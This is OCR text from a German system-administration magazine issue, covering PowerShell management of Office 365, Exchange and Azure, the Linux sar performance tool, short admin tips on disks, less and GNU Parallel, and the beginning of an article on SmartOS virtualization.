endgültig löschen, sondern alle Benutzer 

aus dem Papierkorb entfernen, geht 

das über: 

Get‐MsolUser ‐ReturnDeletedUsers |U 

Remove‐MsolUser ‐RemoveFromRecycleBinU 

‐Force 

Mit Exchange- 

Verwaltungsshell verbinden 

In vielen Umgebungen sind Office-365- 

Konten und lokale Exchange-Server 

parallel im Einsatz. Dann ist es sinnvoll, 

in der Powershell neben den Office- 

365-Commandlets auch die Befehle aus 

der Exchange-Verwaltungsshell nutzbar 

zu machen. Dazu speichern Sie die Anmeldedaten 

von Office 365 zunächst in 

einer Variablen: 

$cred = Get‐Credential 

Danach bauen Sie eine Verbindung zu 

Office 365 und zur Exchange-Verwaltungshell 

auf: 

$Session = New‐PSSession U 

‐ConfigurationName Microsoft.ExchangeU 

‐ConnectionUri https://ps.outlook.comU 

/powershell ‐Credential $cred U 

‐Authentication Basic ‐AllowRedirection 

Diese Daten importieren Sie mit »import‐PSSession 

$Session«. 


Know-how 

Office 365 

77 

Exchange Online Protection 

Microsoft bietet für lokale Exchange- 

Installationen und auch für Office 365 

den Cloud-Virenscanner Exchange 

Online Protection (EOP) an. Das ist der 

Nachfolger von Forefront Online Protection 

for Exchange (FOPE). In Office 

365 ist Exchange Online Protection 

automatisch aktiv. Das heißt, ein- und 

ausgehende E-Mails werden nach 

Viren und Spam gescannt. Setzen Sie 

zusätzlich noch lokale Exchange-Server 

ein, können Sie die E-Mails der lokalen 

Server zu Office 365 senden, dort nach 

Viren scannen lassen und dann weiterversenden. 

Das funktioniert auch in Exchange 

Server 2013 und dem integrierten 

Virenscanner in Exchange 2013 – in 

beide Richtungen. 

Folgender Befehl sorgt dafür, dass 

Exchange Server 2013 E-Mails scannt, 

nachdem Exchange Online Protection 

die E-Mails gescannt hat: 

Set‐MalwareFilteringServer U 

‐ForceRescan $true 

Um den Wert zu überprüfen, geben Sie 

den folgenden Befehl ein: 

Get‐MalwareFilteringServer |U 

Format‐List Name, ForceRescan 

Die Umleitung zwischen Exchange 

und Office 365 wird vom MX-Eintrag 

der Domäne gesteuert. Der Assistent 

zur Anbindung von Office 365 an lokale 

Exchange-Installationen fügt 

der Exchange-Organisation eine zusätzliche, 

akzeptierte Domäne für die 

Hybridnachrichtenübermittlung hinzu. 

Diese Domäne wird als sekundäre 

Proxydomäne hinzugefügt. Standardmäßig 

ist das die Domäne »Domäne. 

mail.onmicrosoft.com«. Sie können die 

akzeptierte Domäne mit folgendem Befehl 

anzeigen: 

Get‐AcceptedDomain | FL DomainName, U 

IsCoexistenceDomain 

In der Exchange-Verwaltungsshell zeigen 

Sie die Einstellungen mit »Get‐HybridConfiguration« 

an. 

Sie können aber nicht nur die Office- 

365-Dienste in der Powershell verwalten, 

sondern auch die anderen Cloud- 

Dienste von Microsoft, wie zum Beispiel 

Windows Azure. Die Installationsdatei 

für die Verwaltung von Windows Azure 

in der Powershell finden Sie auf der 

Seite [8]. Nach der Installation importieren 

Sie die Commandlets mit »Import‐Module 

Azure«. Bevor Sie Azure 

mit der Powershell verwalten können, 

müssen Sie den PC anpassen, damit er 

sich mit Windows Azure verbindet. 

Geben Sie zuerst »Get‐AzurePublishSettingsFile« 

ein und melden Sie 

sich an Windows Azure an. Laden Sie 

die Datei herunter, die der Assistent 

dann anzeigt. Geben Sie den Befehl 

»Import‐AzurePublishSettingsFile 

Publishsettings‐Datei« gefolgt von 

»Get‐AzureSubscription« ein. 

Mit Windows Azure Backup bietet 

Microsoft einen Dienst an, mit dem 

Unternehmen Daten von Servern in 

der Cloud sichern können. In der Powershell 

lassen Sie sich die verfügbaren 

Commandlets von Windows Azure 

Backup mit »get‐command *ob*« 

anzeigen (Abbildung 4). Alternativ verwenden 

Sie den Befehl »get‐command 

‐module MSOnlineBackup«. Mehr Informationen 

zu Azure Backup sind in 

einem Artikel im letzten ADMIN-Heft zu 

finden [9]. 

Fazit 

Mit der Powershell bietet Microsoft eine 

leistungsfähige Shell mit vielen Möglichkeiten 

zur Verwaltung lokaler Server 

an. Neben den Standard-Betriebssystemen 

von Microsoft unterstützen 

alle aktuellen Server-Anwendungen 

wie Exchange, SQL, SharePoint, Lync 

die Verwaltung über die Powershell. 

Sind im Unternehmen zusätzlich noch 

Cloud-Dienste wie Windows Azure und 

Office 365 im Einsatz, bietet es sich an, 

auch diese in der Powershell zu verwalten. 

Der Vorteil dabei liegt auf der 

Hand: Administratoren können lokale 

Server und in der gleichen Sitzung auch 

Cloud-Dienste verwalten. Außerdem 

sind viele Möglichkeiten und Funktionen 

in der Power shell wesentlich 

schneller und einfacher zu lösen als in 

Weboberflächen. 

Wer sich etwas mit Skripting auseinandersetzt, 

kann darüber hinaus auch 

n Info 





[1] Microsoft-Online-Services-Anmelde-Assistent: 

[http:// www. microsoft. com/ de‐de/ 

download/ confirmation. aspx? id=39267] 

[2] Azure-AD-Modul (32 Bit): [http:// go. microsoft. 

com/ fwlink/ p/ ? linkid=236298] 

[3] Azure-AD-Modul (64 Bit): [http:// go. microsoft. 

com/ fwlink/ p/ ? linkid=236297] 

[4] Office-365-Anmeldung: [https:// portal. 

microsoftonline. com/ OLS/ MySoftware. aspx] 

[5] Microsoft Online Services Sign-In Assistant for IT 

Professionals RTW: 

[http:// www. microsoft. com/ en‐gb/ 

download/ details. aspx? id=28177] 

[6] Set-MsolUserLicense: [http:// technet. 

microsoft. com/ en‐us/ library/ dn194094. aspx] 

[7] Office-365-Lizenzen mit PowerShell ändern: 

[http:// blogs. technet. com/ b/ austria/ archive/ 

2013/ 04/ 28/ office‐365‐lizenzen‐mit‐powersh 

ell‐228‐ndern. aspx] 

[8] Azure-Downloads: 

[https:// www. windowsazure. com/ en‐us/ 

manage/ downloads] 

[9] Thomas Joos, Windows Azure Backup, 

ADMIN 01/2014: [http:// www. 

admin‐magazin. de/ Das‐Heft/ 2014/ 01/ 

Windows‐Azure‐Backup‐nutzen] 

umfassende Skripte für die Verwaltung 

von Diensten schreiben. Diese Skripte 

können auch Änderungen parallel in 

lokalen und in Cloud-Diensten durchführen. 

Da Microsoft die Erweiterungen 

für die Powershell gratis zur Verfügung 

stellt, sollten sich Administratoren mit 

den Möglichkeiten auch auseinandersetzen. 

Nach wenig Einarbeitung lassen 

sich mit der Powershell viele Dienste – 

auch in der Cloud – schnell und einfach 

verwalten. (ofr) n 

n Autor 

Thomas Joos ist freiberuflicher IT-Consultant und 

seit über 20 Jahren in der IT tätig. Neben seinen 

Projekten schreibt er praxisnahe Fachbücher und 

Fachartikel rund um Windows und andere Microsoft- 

Themen. Online trifft man ihn unter [http:// 

thomasjoos. spaces. live. com]. 


Admin 

Ausgabe 02-2014

78 

Basics 

Sar 

Performance-Werte über längere Zeit sammeln und auswerten 

Der Buchhalter 

des Systems 

Für eine Momentaufnahme der System-Performance bieten sich etliche Tools an: Angefangen bei »top« 

oder »uptime« bis zu »iostat«, »netstat« und »mpstat«. Was aber, wenn man von einem Engpass erst erfährt, 

nachdem er sich ereignet hat? Für »sar« ist auch das kein Problem. Jens-Christoph Brendel 

Sar, mit vollem Namen System Activity 

Reporter, ist ein eher unscheinbares 

kleines Kommandozeilentool, das 

ursprünglich aus der System-V-Welt 

stammt, aber für das Troubleshooting 

oder Systemtuning unter Unix/Linux 

auch heute unverzichtbar ist. Seine 

Besonderheit: Sar gibt nicht nur Adhoc-Auskünfte 

über viele Performance- 

Werte, es sammelt diese Daten auch 

unaufhörlich und sortiert sie in tageweise 

organisierte binäre Logs ein. 

Davon hebt sich Sar standardmäßig 

sieben Stück auf, kann sich aber auch 

einen Monat merken. Unter manchen 

Betriebssystemen wie Ubuntu sind 

auch noch länger zurückreichende 

Archive möglich. So lassen sich für 

jeden Zeitpunkt einer zurückliegenden 

Periode auch im Nachhinein die 

CPU-Auslastung oder der freie Hauptspeicherplatz, 

die Anzahl übertragener 

Netzwerkpakete oder die Geschwindigkeit 

des Disk-I/Os ermitteln. 

Installation 

Sar ist in den Repositories aller namhaften 

Linux-Distributionen enthalten, 

das Paket heißt in der Regel »sysstat«. 

Neben dem Binary werden dabei etliche 

Skripte und Cron-Einträge installiert. 

Im Einzelnen sind das 

n »sar«: Das Sar-Kommando dient der 

Anzeige der gesammelten Werte. 

n »sadc«: Der System Activity Data 

Collector ist der eigentliche Datensammler, 

der eine vorgegebene 

Sergey Nivens, 123RF 

Ausgabe 02-2014 

Admin 


Basics 

Sar 

79 

Anzahl Stichproben in bestimmten 

Intervallen nimmt. 

n »sa1«: Dieses Shellskript ist ein 

Wrapper für »sadc«, der ihm verschiedene 

Parameter übergeben 

kann und die zurückgelieferten Daten 

in das richtige binäre Log leitet. 

Die Logfiles liegen meist unter 

»/var/log/sa« oder »/var/log/sysstat« 

(Ubuntu) und heißen immer »sadd«, 

wobei dd die Nummer des Tages 

im Monat ist. Das Skript wird in 

der Regel alle 10 Minuten von Cron 

aufgerufen. Natürlich kann man das 

Intervall anpassen, wenn man mehr 

oder weniger Werte braucht. 

n »sa2«: Dieses Shellskript rotiert 

das tägliche Log und komprimiert 

auf Wunsch ältere Logs. Sa2 startet 

Cron-gesteuert einmal täglich. 

n »sadf«: Ist ebenfalls ein Ausgabeprogramm, 

diesmal speziell für den Datenaustausch. 

Sadf kann die gesammelten 

Daten in diversen Formaten 

aufbereiten: Etwa als Datenbank- 

Record oder als CSV- oder XML-Datei. 

Nach der Paketinstallation ist »sar« unter 

RHEL/CentOS sofort einsatzbereit, 

unter Debian/Ubuntu muss man zuerst 

noch in »/etc/default/sysstat« die Variable 

»ENABLED« auf »true« setzen. 

Damals und jetzt 

Das Ausgabeprogramm Sar kann man 

auf verschiedene Weise aufrufen. Gene- 

Abbildung 1: Frei gestaltbare und online zoombare Grafiken sind die Spezialität von KSar. 

rell gibt man dazu an erster Stelle einen 

oder mehrere Schlüsselbuchstaben 

an, die bestimmen, welche Werte ausgegeben 

werden sollen (Tabelle 1). Die 

Bedeutung der Einzelwerte erläutert 

die Manpage zu »sar«. 

n Listing 1: »sar« mit Intervall und Anzahl 

01 jcb@hercules:# sar ‐q 10 2 

Alle diese Werte können sofort abgefragt 

werden. Dabei kann man zusätzlich 

ein Intervall für die Abfragen und 

eine maximale Anzahl von Abfragen 

einstellen. Will man etwa zwei Werte für 

die CPU-Auslastung im 10-Sekunden- 

02 Linux 3.5.0‐44‐generic (hercules) 03.12.2013 _x86_64_ (2 CPU) 

03 

04 09:46:03 runq‐sz plist‐sz ldavg‐1 ldavg‐5 ldavg‐15 blocked 

05 09:46:13 1 468 0,02 0,06 0,14 0 

06 09:46:23 0 468 0,01 0,06 0,14 0 

07 Durchschnitt: 0 468 0,01 0,06 0,14 0

80 

Basics 

Sar 

n Listing 2: »sar« mit Log- und Zeit-Vorgabe 

01 jcb@hercules:# sar ‐u ‐f /var/log/sysstat/sa02 ‐s 12:00:00 ‐e 13:00:00 

02 Linux 3.5.0‐43‐generic (hercules) 02.12.2013 _x86_64_ (2 CPU) 

03 

04 12:05:01 CPU %user %nice %system %iowait %steal %idle 

05 12:15:01 all 2,08 0,00 0,96 0,02 0,00 96,94 

06 12:25:01 all 1,96 0,00 0,82 0,06 0,00 97,16 

07 12:35:01 all 1,22 0,00 0,73 0,00 0,00 98,05 

08 12:45:01 all 1,32 0,00 0,72 0,01 0,00 97,95 

09 12:55:01 all 1,79 0,00 0,75 0,05 0,00 97,41 

10 Durchschnitt: all 1,67 0,00 0,80 0,03 0,00 97,5 

n Info 

Turnus sehen, stellt man es so an wie in 

Listing 1. Mit der Option »‐f« kann man 

noch ein Tages-Log vorgeben, aus dem 

die Werte zu beziehen sind. Nimmt man 

dazu noch »‐s« und »‐e« für eine Startund 

Endzeit, lassen sich beliebige Perioden 

spezifizieren (Listing 2). 

Manche Implementierungen (beispielsweise 

unter SunOS) kennen außerdem 

ein »timex«-Kommando, dass Sar- 

Statistiken parallel zur Laufzeit eines 

anzugebenden Programms sammeln 

kann, etwa 

timex ‐s make bigprogram 

Unter Linux ist diese Spezialität allerdings 

nicht verfügbar. 

Auswertungen 

Hat man einmal eine solche Fülle von 

Performance-Daten zusammen, wie sie 

»sar« ja automatisch sammelt, dann 

bietet es sich natürlich an, sie unter 

verschiedenen Kriterien auszuwerten 

und auch zu visualisieren. Im einfachsten 

Fall gelingt das mit einer Spreadsheet-Software 

aus einem Office-Paket, 

alternativ eignet sich auch gnuplot 

gut. Darüber hinaus gibt es aber auch 

etliche spezialisierte Programme für 

diesen Zweck. 





[1] KSar: [http:// sourceforge. net/ projects/ ksar] 

[2] SarCheck: [http:// www. sarcheck. com/ de] 

Ein solches Programm ist »KSar« [1]. 

Die Java-Anwendung lässt sich unter 

anderem mit einem Sar-Kommando 

und Logfile aufrufen 

root@hercules:# java ‐jar kSar.jar U 

‐input 'cmd:///usr/bin/sar U 

‐dwu ‐f /var/log/sysstat/sa02' 

und produziert daraus dann automatisch 

Grafiken wie Abbildung 1. Die 

Graphen lassen sich interaktiv zoomen, 

die Farben und Hintergründe sind frei 

wählbar. Das Ergebnis ist als PDF-Datei 

und in verschiedenen Grafikformaten 

exportierbar. Anstelle eines Logfiles 

kann man auch ein SSH-Kommando 

angeben, dass die Daten von einem 

entfernten Rechner besorgt. 

Einen Schritt weiter geht das allerdings 

kostenpflichtige Tool SarCheck [2]. 

n Tabelle 1: Sar-Schlüssel 

Key 

A 

b 

B 

C 

d 

h 

H 

I 

n 

P 

q 

R 

S 

u 

v 

w 

y 

Obzwar schon seit 1994 am Start, ist 

die Linux-Version immer noch in Entwicklung. 

Kaufen kann man momentan 

nur Versionen für Solaris, HP-UX und 

AIX. Die Betatests der Linux-Ausgabe 

sollen nach Herstellerangaben aber 

vielversprechend verlaufen. 

SarCheck zeichnet nicht nur Diagramme, 

sondern führt eine komplette 

Ressourcen-Analyse durch und erkennt 

automatisch CPU- und I/O-Flaschenhälse, 

aus dem Ruder gelaufene 

Prozesse, falsche I/O-Lastverteilung, 

langsame Festplatten, Speicher-Flaschenhälse 

und Speicherlecks, falsche 

Systempuffergrößen und falsche Systemtabellengrößen. 

SarCheck operiert dafür mit Schwellwerten 

für alle gemessenen Parameter 

und gibt aktiv gezielte Tuning-Empfehlungen. 

Fazit 

Sar ist ein äußerst nützlicher und 

vielseitiger Datensammler, der nicht 

nur Momentanwerte anzeigen kann, 

sondern über Wochen Statistiken führt 

und hernach zu jedem Zeitpunkt aus 

der Beobachtungsperiode auskunftsbereit 

ist. Zusatzprogramme wie KSar 

machen seine Aussagen als Graphen 

anschaulich, SarCheck nutzt sie sogar 

für eine ausgewachsene Systemdiagnose. 

n 

Funktion 

Gibt alles aus. Äquivalent zu 

‐bBdHqrRSuvwWy ‐I SUM ‐I XALL ‐m ALL ‐n ALL ‐u ALL ‐P ALL 

I/O-Statistiken und Transferraten 

Paging-Statistiken 

Kommentare mit ausgeben, die Sadc eingefügt hat. 

Aktivitäten aller Block-Devices 

Hilfetext ausgeben 

Hugepages Utilization Statistics 

Statistiken für anzugebenden Interrupt 

Zusammen mit einem weiteren Schlüsselwort oder ALL: Netzwerkstatistik 

Prozessor-Statistiken 

Länge der Run-Queue und Load Average 

Memory-Statistik 

Swap-Space-Auslastung 

CPU-Auslastung 

Status einiger Kernel-Tabellen etwa zu Inodes und Files 

Task-Creation- und Task-Wechsel-Aktivität 

TTY-Aktivitäten 


82 

Basics 

ADMIN-Tipps 

Die Tipps des Monats 

ADMIN-Tipps 

Pavel Ignatov, 123RF 

Hier finden Sie eine Auswahl der im wöchentlichen ADMIN-Newsletter erscheinenden Praxistipps. 

n Lohnen Enterprise-Platten? 

Brian Beach vom Online-Backup-Anbieter Blacklaze hat untersucht, ob 

sich die angeblich langlebigeren, aber viel teueren Enterprise-Festplatten 

tatsächlich lohnen. Sein Blog-Eintrag [1] enthüllt Bemerkenswertes. Die Berechnungsgrundlage 

der Betrachtung waren Laufwerksjahre, also die Anzahl 

der Drives multipliziert mit ihrem Alter. Eine einzelne Festplatte bringt 

es so nach einem Jahr Einsatzzeit auf ein Drive Year. 

Der Backup-Anbieter hatte 14719 Laufwerksjahre an Consumer-Festplatten 

in seinem Storage verbaut und verzeichnete unter diesen Disks 613 Ausfälle. 

Zusätzlich steckten in zentralen Servern und einem Speicher von EMC 

386 Laufwerksjahre an Enterprise-Festplatten, von denen 17 ersetzt werden 

mussten. Das ergibt eine jährliche Fehlerrate, die mit 4,6 Prozent bei den 

Enterprise-Festplatten sogar etwas über der der Consumer-Disks (4,2 Prozent) 

lag! Aus dieser Perspektive kommt der Blog zu dem klaren Schluss, 

dass sich Enterprise-Platten nicht lohnen, weil sie für den sehr viel höheren 

Preis nicht länger halten. 

Die Studie hatte allerdings möglicherweise die eine oder andere kleine 

methodische Schwachstelle. So ersetzen Storage-Arrays Platten unter 

Umständen vorbeugend, wenn sie eine steigende Fehlerrate registrieren, 

weil das RAID-Rebuild dann schneller und risikoärmer verläuft als nach einem 

Totalausfall. Unter den vermeintlich ausgefallenen Enterprise-Platten 

mögen also einige nur geschädigt gewesen sein, wogegen die Consumer- 

Platten alle tatsächlich ausgefallen waren. Auch führen Enterprise-Platten 

neben der angeblich größeren Lebensdauer noch andere Vorteile ins Feld, 

etwa einen vibrationsärmeren Lauf. Der ist aber an sich auch kein Vorteil, 

sondern soll mittelbar nur wieder die Ausfallwahrscheinlichkeit senken. 

Und auch eine längere Garantiezeit ist nur dann ein Gewinn, wenn man 

Leistungen daraus in Anspruch nehmen will. 

Angesichts der großen Preisunterschiede scheinen sich Consumer-Platten 

aber wohl oft für diejenigen zu lohnen, die durch RAID-Konfigurationen für 

die nötige Redundanz sorgen und ausgefallene Laufwerke selbst ersetzen. 

n Mehr Nutzen mit less 

Less hilft bei der täglichen Administration von Unix- und 

Linux-Systemen. Ein paar kleine Tricks erleichtern die 

Arbeit damit noch mehr. 

Oft nimmt man zwei entfernte Stellen einer größeren 

Datei in Augenschein. Beispielsweise sucht man im 

Syslog nach der Erstinitialisierung eines Geräts beim 

Booten und später nach Fehlermeldungen von diesem 

Device. Das erste Auftreten des gesuchten Device-Namens 

findet man vielleicht mit der Vorwärtssuche nach 

Eingabe eines Slash, gefolgt vom Suchwort, etwa 

/sdb 

Danach springt die Taste [n] jeweils zur nächsten Fundstelle. 

Ist man an der Position, die die Fehlermeldung 

enthält, möchte man eine Information vom Anfang erneut 

nachschlagen. Man könnte rückwärts suchen 

?sdb 

und wieder würde [n] von Fundstelle zu Fundstelle 

führen, jetzt rückwärts. Aber es geht viel eleganter und 

effizienter. Dazu setzt man beim ersten Auftreten einen 

Marker mit der Taste [m] gefolgt von einem beliebigen 

Buchstaben, der quasi der Name der Markierung ist 

ma 

Jetzt kann man jederzeit mit Hochkomma und Markername 

zu dieser Stelle zurückspringen: 

'a 

Laurent Dambies, 123RF 

Hat man auch die zweite Stelle markiert, wechselt man 

mit einer Tastenkombination über beliebige Distanzen 

hin und her. 


Basics 

Admin-Tipps 

83 

n Parallele Linux-Shell 

Prozessoren mit mehreren Kernen statt 

immer höherer Taktfrequenz beschleunigen 

inzwischen selbst Smartphones 

und Laptops der unteren Preisklasse. 

Betriebssysteme, Benutzeroberflächen 

und viele Anwendungen setzen fast 

selbstverständlich auf Parallelbetrieb. 

Nur die Linux-Shell läuft nach wie vor 

im alten, sequenziellen Betrieb: Ein Befehl 

folgt brav dem anderen. 

Das Gnu-Werkzeug Parallel [2] schafft 

jedoch Abhilfe. Ohne dass der Anwender 

sich um die Verwaltung von 

Ressourcen oder um die Aufteilung von 

Eingabedaten kümmern muss, nutzt 

das Werkzeug die über die Prozessorkerne 

verteilte Rechnerleistung aus. 

Das Perl-Skript Parallel findet sich bei 

den meisten Distributionen in einem 

eigenen, gleichnamigen Paket. Beim 

Aufruf liest es die auszuführenden 

Kommandos von STDIN; alternativ teilt 

es eine zu verarbeitende Datei auf und 

wendet einen Befehl auf die einzelnen 

Bestandteile an. 

Beispielsweise komprimiert der folgende 

Befehl mehrere Dateien in einem 

Verzeichnis gleichzeitig: 

$ ls | parallel gzip {} 

Die Ausgabe von ls lässt sich hierbei beliebig 

einschränken oder durch ein anderes 

Werkzeug wie find ersetzen. Ein 

Paar geschweifter Klammern »{}« steht 

als Platzhalter für eine Eingabezeile zur 

Verfügung, sodass sie sich als Argument 

für einen Befehl verwenden lässt. Eine 

alternative Schreibweise nimmt Eingabeargumente 

direkt entgegen: 

$ parallel gzip ::: datei1 datei2 datei3 

Das Kommandozeilenargument »‐j« 

definiert die Anzahl der nebenläufig 

auszuführenden 

Jobs. Standardmäßig 

startet Parallel 

so viele Prozesse 

gleichzeitig, wie 

Prozessoren beziehungsweise 

Kerne 

zur Verfügung stehen. 

Die Angabe lässt sich 

auch in Prozent und 

relativ zur Anzahl der 

Prozessoren definieren, beispielsweise 

führt die Angabe von »‐j 150%« dazu, 

dass jede CPU mit 1,5 Jobs versorgt 

wird. Diese Zahl gilt als gute Faustregel, 

um eine dauerhafte Vollauslastung zu 

erzielen, da die leichte Überbelegung 

dem Prozessorleerlauf während längerer 

Festplattenzugriffe entgegenwirkt. 

Falls bei der Ausgabe der parallelen 

Jobs die Reihenfolge wichtig ist, sorgt 

das Argument »‐k« dafür, dass diese der 

Eingabereihenfolge entspricht, egal wie 

schnell die Teilprozesse die Verarbeitung 

abschließen. Ohne diese Angabe 

lässt sich nicht vorhersagen, in welcher 

Reihenfolge die Einzelergebnisse eintreffen, 

da viele, praktisch unberechenbare 

Faktoren einzelne Prozesse verzögern 

oder beschleunigen können. 

Soll ein Befehl eine oder mehrere Dateien 

abarbeiten, hilft das Argument 

»‐‐pipe«. Der folgende Befehl zerlegt 

beispielsweise eine Datei zeilenweise 

und füttert sie an mehrere nebeneinander 

laufende grep-Prozesse: 

$ parallel ‐j 150% ‐k ‐‐pipe grep 

"ERROR" programm.log 

Im Fall von grep bietet sich die zeilenweise 

Verarbeitung zwar an, aber 

andere Befehle bevorzugen möglicherweise 

andere Eingabeblöcke. In diesem 

Fall definieren die Argumente »‐‐recstart« 

und »‐‐recend« die Zeichen, die 

anstelle von Zeilenumbrüchen als Markierungen 

für Beginn beziehungsweise 

Ende einer Einheit dienen. 

Bei der Parallelisierungswut darf ein 

Hinweis jedoch nicht fehlen: In vielen 

Fällen, in denen Bash-Prozesse viel 

Zeit benötigen, liegt das gar nicht am 

Prozessor. Der Flaschenhals ist häufig 

die Festplatte mit ihren vergleichsweise 

langen Lese- und Schreibzugriffszeiten. 

In diesem Fall hilft es leider nichts, die 

eingehenden Daten auf mehrere Prozessoren 

zu verteilen. 

n Info 





[1] Enterprise Drives: Fact or Fiction? (Englisch) 

[http:// blog. backblaze. com/ 2013/ 12/ 04/ 

enterprise‐drive‐reliability/] 

[2] Gnu Parallel: [http:// www. gnu. org/ software/ 

parallel/] 

neue Tipps im Newsletter 

Jede Woche erscheint in unserem Newsletter ein neuer ADMIN-Tipp. Eine Sammlung aller Tipps 

finden Sie im Archiv der ADMIN-Tipps unter [http:// www. admin‐magazin. de/ News/ Tipps/]. 

Den Newsletter können Sie unter [http:// www. admin‐magazin. de/ newsletter] abonnieren. 


Admin 

Ausgabe 02-2014

SmartOS als Virtualisierungsplattform 

Clever 

und smart 

Paulus NR, 123RF 

SmartOS bringt das Beste von Linux und Solaris zusammen, um eine Virtualisierungsplattform mit ZFS 

und KVM zu realisieren. Oliver Frommel 

Viele Administratoren und Unix- 

Freunde bedauern es, dass mit dem 

Verkauf von Sun an Oracle auch der 

Geist begraben wurde, der einmal 

in der Welt von Solaris und Sparc 

herrschte. Ein bisschen davon lebt in 

der Firma Joyent weiter, wenn man 

dem ehemaligen Sun-Chef Scott Mc- 

Nealy glauben darf, der auf Twitter mitteilte 

„Great to see Sun spirit lives on.“ 

Ein Grund dafür ist, dass einige ehemalige 

Sun-Programmierer nun bei Joyent 

arbeiten und dort ein Betriebssystem 

entwickeln, das auf Solaris basiert: 

SmartOS [1] ist die Grundlage für das 

Cloud-Angebot, mit dem Joyent in 

Konkurrenz zu Amazon treten möchte, 

auch wenn die Firma davon noch ein 

gutes Stück entfernt ist. 

Der Geist von Sun 

Die Firma Sun hat bekanntlich im Jahr 

2005, wohl unter dem Eindruck der 

immer stärker werdenden Konkurrenz 

durch Linux, den Quellcode von So- 

laris unter dem Namen OpenSolaris 

veröffentlicht. Die Freude darüber 

währte aber nur einige Jahre, denn 

Oracle machte den Schritt bald nach 

der Übernahme wieder rückgängig. In 

der Zwischenzeit hat sich aber recht 

schnell eine kleine Community um 

OpenSolaris entwickelt, darunter auch 

einige Firmen wie Nexenta, die das nun 

freie System als Basis ihrer Produkte 

verwendeten. 

Nach der Ankündigung durch Oracle, 

Solaris künftig wieder hinter verschlossenen 

Türen weiterzuentwickeln, gründete 

Nexenta zusammen mit anderen 

das Illumos-Projekt, das auf einem 

Fork des damals freien Solaris-Kernel 

beruht. Der Illumos-Kernel wurde zur 

Basis für diverse freie Solaris-Ableger, 

etwa OpenIndiana, Illumian, EON, OmniOS 

und eben SmartOS. 

Das Besondere an SmartOS ist, dass 

Joyent selbst viel Aufwand in die Entwicklung 

gesteckt hat, um das System 

als möglichst flexible Basis für die eigene 

Cloud verwenden zu können. Um 

diese Flexibilität zu gewährleisten, hat 

Joyent in Person von Max Bruning den 

Linux-Hypervisor KVM auf den Solaris- 

Kernel portiert. Dieses Projekt nahm 

etwa ein halbes Jahr in Anspruch, dann 

lief KVM auf SmartOS und konnte somit 

alle Gastsysteme betreiben, die auch 

mit KVM funktionieren. 

KVM für Solaris 

Vor dem KVM-Port gab es in SmartOS 

schon die von Solaris stammenden Zones, 

die Betriebssystem-Virtualisierung 

mit Containern und wenig Ballast bieten. 

Allerdings ist man hierbei normalweise 

auf das Betriebssystem des Hosts 

beschränkt, auch wenn es in Solaris 

bereits Branded Zones mit Linux gab. 

Volle Virtualisierung mit KVM bietet jedenfalls 

mehr Optionen, etwa die, auch 

diverse Microsoft-Systeme als Gastsystem 

zu betreiben. 

Ein weiterer Vorteil von SmartOS besteht 

darin, dass es komplette Unter- 



SmartOS 

85 

stützung für das Tracing-Framework 

DTrace bietet, mit dem sich Kernel und 

Userspace-Programme ohne großen 

Overhead zur Laufzeit untersuchen lassen 

(Abbildung 1). Zwar gibt es auch für 

Linux vergleichbare Tools wie Kprobes 

und neuerdings auch einen DTrace- 

Port, aber beide stecken verglichen mit 

DTrace noch in den Kinderschuhen. 

Joyent hat auf der Grundlage von 

DTrace umfangreiche Programme 

geschrieben, mit denen Kunden die 

eigene Cloud im Detail analysieren 

können. Dabei muss sich der Anwender 

nicht mehr mit DTrace-Skripts beschäftigen, 

sondern bekommt diverse 

grafische Darstellungen präsentiert, die 

ihm einen Eindruck von Auslastung und 

Engpässen verschaffen. 

Auch das ZFS-Dateisystem hat in dem 

Virtualisierungskonzept von SmartOS 

einen besonderen Platz. Das System 

profitiert nicht nur von den allgemeinen 

Fähigkeiten des Solaris-Dateisystems, 

etwa der Möglichkeit, RAID- 

Systeme zu realisieren und sie nach Belieben 

zu erweitern. Auch die virtuellen 

Maschinen machen von ZFS-Features 

Gebrauch, weil die Dateisysteme von 

VMs nur Snapshots der VM-Templates 

sind und somit Speicherplatz sparen. 

SmartOS selber einsetzen 

Wer die Vorteile von SmartOS selbst erfahren 

möchte, muss nicht Kunde von 

Joyent werden, denn SmartOS steht 

als freie Software zur Verfügung. Zum 

Download gibt es mehrere Optionen: 

verschiedene Images für CDs, USB- 

Sticks und virtuelle Maschinen sowie 

Dateien zum PXE-Booten. 

SmartOS wird nicht auf der Festplatte 

installiert, denn ein aktuelles System 

ist am ehesten gewährleistet, wenn 

keine alten Dateien auf dem Dateisystem 

liegen. Das Betriebssystem wird 

also stets komplett von einem Medium 

gebootet, während die virtuellen Maschinen 

auf einem ZFS-Storage-Pool 

dauerhaft gespeichert sind. Im einfachsten 

Fall startet man SmartOS von 

USB-Stick oder CD, in Produktivumgebungen 

am besten über PXE von einem 

Server. 

Am sinnvollsten ist für SmartOS ein 

echter Rechner, denn es setzt das Vor- 

Abbildung 1: Ein mit DTrace erstellter Flame Graph, der den Call Stack von MySQL visualisiert. 

handensein der Prozessorfeatures (nur 

Intel) VMX (VT) und EPT (Extended Page 

Tables) voraus, die in virtualisierten 

Systemen nicht unbedingt gegeben 

sind. Möglich ist die Installation etwa 

in VMware Fusion, das die beiden 

Features auch an Gast-Systeme weiterreicht. 

Auch in VirtualBox ist die 

Installation von SmartOS möglich, 

aber die Performance ist nicht die 

beste. Schließlich bietet auch Linux 

mit Nested-KVM zumindest VMX in virtuellen 

Maschinen an. Allerdings gibt 

es erst seit Kernel 3.12 auch Support 

für Nested-EPT, womit sich SmartOS 

immerhin ohne die entsprechende Fehlermeldung 

installieren ließ. Allerdings 

blieb es danach stets beim Start einer 

KVM-Maschine hängen. Ein eigener 

Rechner ist also die beste Lösung. 

Obwohl es keine Installation gibt, muss 

man nach dem Booten von CD oder 

USB ein paar Dinge einrichten, nämlich 

das Root-Passwort, die Netzwerkeinstellungen 

und die Storage-Optionen. 

SmartOS setzt als Storage mindestens 

eine komplette Festplatte voraus, mit 

mehreren Festplatten lassen sich im 

ZFS-Pool auch diverse RAID-Setups 

realisieren. Schon bei diesem Schritt 

muss sich der Linux-Anwender etwas 

umstellen, denn die Devices werden 

Solaris-typisch benannt: »c0t0d0«, wobei 

»c0« für den ersten Controller steht, 

»t0« für den ersten Bus und »d0« für die 

erste Disk. 

Loggt man sich im neuen SmartOS- 

System ein, landet man in einer 

Solaris-Umgebung und muss sich mit 

ein paar neuen Tools vertraut machen. 

So gibt es beispielsweise das von Linux 

bekannte »top« nicht, stattdessen 

aber ein Programm namens »prstat«. 

Ein praktisches Cheatsheet für Linux- 

Anwender, das die entsprechenden 

Befehle in SmartOS aufführt, ist unter 

[2] zu finden. 

Die wenigen Konfigurationsdaten, 

